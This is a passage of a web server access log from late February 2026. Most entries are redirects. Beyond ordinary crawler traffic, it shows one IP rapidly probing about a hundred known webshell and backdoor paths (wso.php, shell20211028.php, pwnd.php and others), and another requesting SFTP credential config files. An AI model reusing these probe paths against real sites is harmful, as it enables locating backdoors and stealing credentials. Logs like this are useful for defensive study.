"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 144.172.114.76 - - [27/Feb/2026:17:42:53 +0300] "HEAD /Archive.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 20.220.144.87 - - [27/Feb/2026:17:58:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 159.203.99.146 - - [27/Feb/2026:17:45:14 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 147.185.132.55 - - [27/Feb/2026:17:59:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 159.203.99.146 - - [27/Feb/2026:17:45:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.204.192.31 - - [27/Feb/2026:19:23:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.71.191.191 - - [27/Feb/2026:18:54:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.156.156.96 - - [27/Feb/2026:19:09:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 24.199.109.237 - - [27/Feb/2026:20:20:10 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 43.159.128.247 - - [27/Feb/2026:20:31:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.22.116.163 - - [27/Feb/2026:21:23:06 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 69.171.231.20 - - [27/Feb/2026:21:36:28 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 52.167.144.17 - - [27/Feb/2026:21:03:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 46.151.182.53 - - [27/Feb/2026:20:50:48 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 165.22.116.163 - - [27/Feb/2026:21:23:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.65.237.216 - - [27/Feb/2026:21:37:09 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 46.151.182.53 - - [27/Feb/2026:20:50:48 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 207.46.13.229 - - [27/Feb/2026:21:03:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 24.199.109.237 - - [27/Feb/2026:20:20:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 121.127.34.140 - - [27/Feb/2026:20:42:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 103.65.237.216 - - [27/Feb/2026:21:37:05 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 49.234.192.248 - - [27/Feb/2026:22:42:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.223.205.198 - - [27/Feb/2026:22:17:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.48.177.128 - - [28/Feb/2026:00:42:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 115.45.41.95 - - [28/Feb/2026:02:59:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3804.142 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 193.37.32.170 - - [28/Feb/2026:03:11:07 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:07 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:08 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:11:08 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:08 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:08 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:08 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:09 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:09 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:11:09 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:09 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:09 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:10 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:10 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:10 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:10 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:11 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:11 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:11 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:11 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:12 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:12 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:12 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:12 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:12 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:13 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:13 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:11:13 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:13 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:13 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:14 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:14 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:14 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:14 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:11:15 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:15 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:15 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:15 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:16 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:16 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:16 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:16 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:11:17 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:17 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:17 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:17 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:18 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:18 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:18 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:11:19 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:20 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:20 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:11:20 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:20 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:21 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:21 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:21 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:21 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:21 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:22 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:22 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:22 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:22 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:22 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:23 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:11:23 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:23 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:23 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:23 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:24 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:11:24 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:24 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:24 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:25 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:25 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:25 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:25 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:25 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:26 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:26 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:11:26 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:26 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:11:26 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:27 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:27 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:27 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - 